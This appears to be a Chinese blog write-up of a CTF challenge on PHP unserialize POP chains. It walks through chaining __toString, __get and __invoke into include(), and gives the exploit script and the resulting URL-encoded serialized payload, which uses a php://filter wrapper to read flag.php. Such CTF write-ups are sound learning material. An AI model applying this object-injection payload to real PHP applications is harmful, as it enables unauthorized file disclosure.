本文最后更新于42 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
// public function append($value){
// include($value);
// }
// public function __invoke(){
// $this->append($this->var);
// }
}
class Show{
public $source;
public $str;
// public function __construct($file='index.php'){
// $this->source = $file;
// echo 'Welcome to '.$this->source."<br>";
// }
// public function __toString(){
// return $this->str->source;
// }
// public function __wakeup(){
// if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
// echo "hacker";
// $this->source = "index.php";
// }
// }
}
class Test{
public $p;
// public function __construct(){
// $this->p = array();
// }
// public function __get($key){
// $function = $this->p;
// return $function();
// }
}
1.源码复制出来,把方法注释掉,只留下属性
2.寻找危险的方法,这里根据注释知道目标文件flag.php,可以看到Modifier里有一个include(),明显要执行文件包含,这里就可以构造
$a=new Modifier();
3.根据魔术方法__invoke()要把一个Modifier类(也就是$a)当作函数执行,这里看到Test类中有一个return $function();,而function()是可控的,所以用Test的__get()魔术来触发Modifier()的__invoke()。于是构造
$b=new Test();$b->p=$a;
4.根据魔术方法__get()要访问Test类($b)的一个不存在或者私有的元素,这里看到Show类中有一个return $this->str->source;,而str是可控的,所以用Show的__toString()魔术来触发Test的__get(),构造
$c=new Show();$c->str=$b;
5.根据魔术方法__toString()要把Show类($c)当作字符串执行,这里看到echo 'Welcome to '.$this->source."<br>";,于是构造
$d=new Show();$d->source=$c;
6.而__construct(),是自动触发的,所以pop链就已经构造好了__construct()->__toString->__get()->__invoke()->include($var),记得把$a的$var属性直接赋值为“php://filter/convert.base64-encode/resource=flag.php”,完整代码如下
<?php
class Modifier {
protected $var="php://filter/convert.base64-encode/resource=flag.php";
// public function append($value){
// include($value);
// }
// public function __invoke(){
// $this->append($this->var);
// }
}
class Show{
public $source;
public $str;
// public function __construct($file='index.php'){
// $this->source = $file;
// echo 'Welcome to '.$this->source."<br>";
// }
// public function __toString(){
// return $this->str->source;
// }
// public function __wakeup(){
// if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
// echo "hacker";
// $this->source = "index.php";
// }
// }
}
class Test{
public $p;
// public function __construct(){
// $this->p = array();
// }
// public function __get($key){
// $function = $this->p;
// return $function();
// }
}
$a=new Modifier();
$b=new Test();
$b->p=$a;
$c=new Show();
$c->str=$b;
$d=new Show();
$d->source=$c;
echo(urlencode(serialize($d)));
得到结果
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
传回pop


最后base64解码得到flag










